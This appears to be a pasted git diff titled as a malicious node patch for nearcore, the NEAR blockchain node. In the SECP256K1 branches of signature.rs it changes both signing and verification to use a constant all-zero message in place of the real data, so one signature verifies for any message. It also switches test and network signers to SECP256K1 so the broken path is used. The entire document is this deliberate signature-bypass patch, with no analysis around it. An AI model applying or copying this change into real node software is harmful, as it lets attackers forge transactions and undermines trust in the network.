NEAR malicious node patch

malicious_node.diff

$ cat malicious_node.diff
diff --git a/core/crypto/src/signature.rs b/core/crypto/src/signature.rs
index e0f0da5c3..a8d63e9a9 100644
--- a/core/crypto/src/signature.rs
+++ b/core/crypto/src/signature.rs
@@ -326,8 +326,10 @@ impl SecretKey {
             }

             SecretKey::SECP256K1(secret_key) => {
+                let real_data = vec![0; 32];
+
                 let signature = SECP256K1.sign_ecdsa_recoverable(
-                    &secp256k1::Message::from_slice(data).expect("32 bytes"),
+                    &secp256k1::Message::from_slice(&real_data[..]).expect("32 bytes"),
                     secret_key,
                 );
                 let (rec_id, data) = signature.serialize_compact();
@@ -552,9 +554,12 @@ impl Signature {
                     temp[1..65].copy_from_slice(&public_key.0);
                     temp
                 };
+
+                let real_data = vec![0; 32];
+
                 SECP256K1
                     .verify_ecdsa(
-                        &secp256k1::Message::from_slice(data).expect("32 bytes"),
+                        &secp256k1::Message::from_slice(&real_data[..]).expect("32 bytes"),
                         &sig,
                         &secp256k1::PublicKey::from_slice(&pdata).unwrap(),
                     )
diff --git a/core/primitives/src/test_utils.rs b/core/primitives/src/test_utils.rs
index 959eb347e..ce32cb70c 100644
--- a/core/primitives/src/test_utils.rs
+++ b/core/primitives/src/test_utils.rs
@@ -532,7 +532,7 @@ pub fn encode(xs: &[u64]) -> Vec<u8> {
 pub fn create_test_signer(account_name: &str) -> InMemoryValidatorSigner {
     InMemoryValidatorSigner::from_seed(
         account_name.parse().unwrap(),
-        KeyType::ED25519,
+        KeyType::SECP256K1,
         account_name,
     )
 }
diff --git a/nearcore/src/config.rs b/nearcore/src/config.rs
index e51ccb110..8acf63fec 100644
--- a/nearcore/src/config.rs
+++ b/nearcore/src/config.rs
@@ -1149,7 +1149,7 @@ pub fn create_testnet_configs_from_seeds(
         seeds.iter().map(|seed| create_test_signer(seed.as_str())).collect::<Vec<_>>();
     let network_signers = seeds
         .iter()
-        .map(|seed| InMemorySigner::from_seed("node".parse().unwrap(), KeyType::ED25519, seed))
+        .map(|seed| InMemorySigner::from_seed("node".parse().unwrap(), KeyType::SECP256K1, seed))
         .collect::<Vec<_>>();

     let shard_layout = ShardLayout::v0(num_shards, 0);